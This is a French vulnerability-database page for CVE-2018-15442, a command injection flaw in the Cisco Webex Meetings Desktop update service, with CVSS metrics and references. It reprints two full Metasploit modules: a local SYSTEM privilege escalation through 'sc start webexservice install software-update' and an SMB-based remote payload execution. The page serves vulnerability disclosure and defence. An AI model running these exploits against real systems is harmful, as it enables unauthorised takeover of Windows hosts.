CVE-2018-15442 : Détail

CVE-2018-15442

7.8
/
Haute
OS Command Injection
A03-Injection
7.08%V3
Local
2018-10-24
19h00 +00:00
2024-11-26
14h23 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Cisco Webex Meetings Desktop App Update Service Command Injection Vulnerability

A vulnerability in the update service of Cisco Webex Meetings Desktop App for Windows could allow an authenticated, local attacker to execute arbitrary commands as a privileged user. The vulnerability is due to insufficient validation of user-supplied parameters. An attacker could exploit this vulnerability by invoking the update service command with a crafted argument. An exploit could allow the attacker to run arbitrary commands with SYSTEM user privileges. While the CVSS Attack Vector metric denotes the requirement for an attacker to have local access, administrators should be aware that in Active Directory deployments, the vulnerability could be exploited remotely by leveraging the operating system remote management tools.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 45696

Date de publication : 2018-10-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'WebEx Local Service Permissions Exploit', 'Description' => %q{ This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations. }, 'References' => [ ['URL', 'https://webexec.org'], ['CVE', '2018-15442'] ], 'DisclosureDate' => "Oct 09 2018", 'License' => MSF_LICENSE, 'Author' => [ 'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>' ], 'Platform' => [ 'win'], 'Targets' => [ [ 'Automatic', {} ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'ReverseConnectRetries' => 255 }, 'DefaultTarget' => 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"]) ]) @service_name = 'webexservice' end def validate_arch return target unless target.name == 'Automatic' case sysinfo['Architecture'] when 'x86' fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64' vprint_status('Detected x86 system') return targets[1] when 'x64' vprint_status('Detected x64 system') return targets[2] end end def check_service_exists?(service) srv_info = service_info(service) if srv_info.nil? vprint_warning("Unable to enumerate services.") return false end if srv_info && srv_info[:display].empty? vprint_warning("Service #{service} does not exist.") return false else return true end end def check unless check_service_exists?(@service_name) return Exploit::CheckCode::Safe end srv_info = service_info(@service_name) vprint_status(srv_info.to_s) case START_TYPE[srv_info[:starttype]] when 'Disabled' vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' vprint_good("Service is set to Automatically start...") end if check_search_path return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def check_write_access(path) perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good("Write permissions in #{path} - #{perm}") return true elsif perm vprint_status ("Permissions for #{path} - #{perm}") else vprint_status ("No permissions for #{path}") end return false end def exploit begin @token = get_imperstoken rescue Rex::Post::Meterpreter::RequestError vprint_error("Error while using get_imperstoken: #{e}") end fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token if is_system? fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") if !check_service_exists?(@service_name) fail_with(Failure::NoTarget, "The service doesn't exist.") end if is_uac_enabled? print_warning("UAC is enabled, may get false negatives on writable folders.") end # Use manually selected Dir file_path = datastore['DIR'] @exe_file_name = Rex::Text.rand_text_alphanumeric(8) @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe" service_information = service_info(@service_name) # Check architecture valid_arch = validate_arch exe = generate_payload_exe(:arch => valid_arch.arch) # # Drop the malicious executable into the path # print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...") begin write_file(@exe_file_path, exe) register_file_for_cleanup(@exe_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Failure::Unknown, e.message) end # # Run the service # print_status("Launching service...") res = cmd_exec("cmd.exe", "/c sc start webexservice install software-update 1 #{@exe_file_path}") if service_restart(@service_name) print_status("Service started...") else service_information = service_info(@service_name) if service_information[:starttype] == START_TYPE_AUTO if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) break if session_created? select(nil,nil,nil,1) end else fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end else fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") end end end end
Exploit Database EDB-ID : 45695

Date de publication : 2018-10-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Windows XP systems that are not part of a domain default to treating all # network logons as if they were Guest. This prevents SMB relay attacks from # gaining administrative access to these systems. This setting can be found # under: # # Local Security Settings > # Local Policies > # Security Options > # Network Access: Sharing and security model for local accounts class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SMB::Client::WebExec include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WebExec Authenticated User Code Execution', 'Description' => %q{ This module uses a valid username and password of any level (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" module, except allows any non-guest account by default. }, 'Author' => [ 'Ron <[email protected]>', ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'thread' }, 'References' => [ ['URL', 'https://webexec.org'], [ 'CVE', '2018-15442' ], ], 'Payload' => { 'Space' => 3072, 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic', { } ], [ 'Native upload', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 24 2018' )) register_options( [ # This has to be a full path, %ENV% variables are not expanded OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ]) ]) register_advanced_options( [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]), ]) end # This is the callback for cmdstager, which breaks the full command into # chunks and sends it our way. We have to do a bit of finangling to make it # work correctly def execute_command(command, opts) # Replace the empty string, "", with a workaround - the first 0 characters of "A" command = command.gsub('""', 'mid(Chr(65), 1, 0)') # Replace quoted strings with Chr(XX) versions, in a naive way command = command.gsub(/"[^"]*"/) do |capture| capture.gsub(/"/, "").chars.map do |c| "Chr(#{c.ord})" end.join('+') end # Prepend "cmd /c" so we can use a redirect command = "cmd /c " + command execute_single_command(command, opts) end def exploit print_status("Connecting to the server...") connect(versions: [2,1]) print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login if not simple.client.auth_user and not datastore['ALLOW_GUEST'] print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") disconnect return end begin if datastore['SMBUser'].to_s.strip.length > 0 report_auth end # Avoid implementing NTLMSSP on Windows XP # http://seclists.org/metasploit/2009/q1/6 if smb_peer_os == "Windows 5.1" connect(versions: [1]) smb_login end wexec(true) do |opts| opts[:flavor] = :vbs opts[:linemax] = datastore['MAX_LINE_LENGTH'] opts[:temp] = datastore['TMPDIR'] opts[:delay] = 0.05 execute_cmdstager(opts) end handler disconnect end end def report_auth service_data = { address: ::Rex::Socket.getaddress(datastore['RHOST'],true), port: datastore['RPORT'], service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_data: datastore['SMBPass'], username: datastore['SMBUser'].downcase } if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' credential_data.merge!({ realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: datastore['SMBDomain'] }) end if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ credential_data.merge!({:private_type => :ntlm_hash}) else credential_data.merge!({:private_type => :password}) end credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { access_level: 'Admin', core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) end end

Products Mentioned

Configuraton 0

Cisco>>Webex_meetings_desktop >> Version To (excluding) 33.6.4

Cisco>>Webex_productivity_tools >> Version From (including) 32.6.0 To (excluding) 33.0.6

Références

http://www.securityfocus.com/bid/105734
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/45696/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1041942
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/45695/
Tags : exploit, x_refsource_EXPLOIT-DB